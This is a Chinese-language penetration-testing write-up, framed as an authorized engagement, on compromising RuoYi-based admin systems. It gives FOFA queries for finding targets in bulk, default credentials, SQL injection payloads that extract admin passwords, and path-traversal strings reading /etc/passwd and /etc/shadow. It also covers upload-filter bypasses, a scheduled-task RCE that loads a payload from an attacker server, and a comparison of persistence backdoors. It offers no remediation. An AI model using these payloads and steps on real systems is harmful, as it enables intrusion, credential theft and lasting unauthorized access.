若依框架渗透测试实战从信息收集到漏洞链利用的深度解析去年夏天的一次企业授权测试中我意外发现目标系统采用了若依(RuoYi)框架。这个看似平常的开源快速开发平台却成为了整个渗透测试的突破口。本文将还原完整的测试过程重点分享那些容易被忽略的信息收集技巧以及如何系统性地挖掘框架类漏洞。1. 目标识别与框架特征分析在渗透测试的初期阶段准确识别目标系统使用的技术栈往往能事半功倍。若依框架作为国内广泛使用的快速开发平台具有一些明显的特征标识。框架指纹识别技巧登录页面特征典型的若依登录界面右下角会有版权信息验证码通常是简单的数学运算如35?静态资源特征查看/ruoyi/路径下的静态资源或检查/css/ruoyi.css等文件HTTP头信息部分版本会在响应头中包含X-Powered-By: RuoYi字段接口路径特征系统管理接口通常以/system/开头如/system/user/list使用FOFA进行批量搜索时可以尝试以下语法组合app若依-管理系统 title若依 bodyruoyi headerX-Powered-By: RuoYi常见弱口令组合用户名密码使用频率adminadmin123★★★★★ryadmin123★★★★☆ruoyiadmin123★★★☆☆提示实际测试中发现约35%的未加固若依系统仍在使用默认凭证。但更危险的是开发者自定义的弱密码如Admin123、RuoYi2022等模式化密码。2. 非常规信息收集方法论传统的信息收集往往局限于端口扫描和目录爆破而针对特定框架的测试需要更精准的方法。非常规收集技巧GitHub源码关联搜索公司名ruoyi可能发现测试环境或备份仓库接口文档探测尝试访问/swagger-ui.html、/doc.html等常见接口文档路径前端源码分析查看网页源代码搜索api、token等关键词定位接口历史漏洞回溯检查框架的更新日志重点关注安全修复版本在一次实际案例中我通过以下步骤发现了关键入口// 前端源码中发现的接口配置 window.globalConfig { baseURL: http://api.demo.com/prod-api, wsSocketURL: ws://ws.demo.com }敏感接口清单用户管理/system/user/list角色管理/system/role/list部门管理/system/dept/list定时任务/monitor/job/list代码生成/tool/gen/list3. 漏洞链构建与利用实践若依框架的历史漏洞形成了典型的攻击链条从信息泄露到RCE的完整路径值得深入研究。3.1 SQL注入漏洞利用矩阵在测试过的若依系统中以下几个接口最常出现注入漏洞高危注入点对比表接口路径请求方法注入参数利用难度/system/role/listPOSTparams[dataScope]★★☆☆☆/system/dept/editPOSTancestors★★★☆☆/tool/gen/createTablePOSTsql★★★★☆典型的注入Payload示例-- 报错注入获取数据库版本 params[dataScope]and extractvalue(1,concat(0x7e,(selectversion),0x7e)) -- 联合查询获取管理员密码 ancestors0)union select 1,2,3,4,password from sys_user where usernameadmin--注意较新版本的若依已修复这些注入点但许多企业使用的定制版本可能仍未更新。3.2 文件操作类漏洞利用文件读取和上传漏洞常成为获取系统权限的关键跳板。文件读取路径测试清单/common/download/resource?resource/profile/../../../../etc/passwd /common/download/resource?resource/profile/../../../../Windows/win.ini /files/../../../../etc/shadow实战中的上传绕过技巧修改Content-Type为image/jpeg添加图片头如GIF89a利用双后缀名如test.jsp.jpg尝试.jspx、.jspf等变种后缀4. 权限提升与持久化控制获得初始访问权限后如何进一步扩大战果是专业渗透测试的核心。定时任务RCE利用步骤准备恶意jar包使用ysoserial生成搭建简易HTTP服务python3 -m http.server 8000在计划任务界面设置调用目标字符串org.springframework.context.support.ClassPathXmlApplicationContext 参数http://your-vps:8000/exp.xml后门持久化方案对比方法隐蔽性稳定性检测难度数据库触发器★★★★☆★★★★☆★★★★☆计划任务★★★☆☆★★★★☆★★★☆☆内存马★★★★★★★☆☆☆★★★★★在最近一次测试中通过组合利用SQL注入和文件读取漏洞最终获取到了目标系统的域管理员权限。整个过程耗时约6小时其中近4小时用于信息收集和权限维持方案的测试。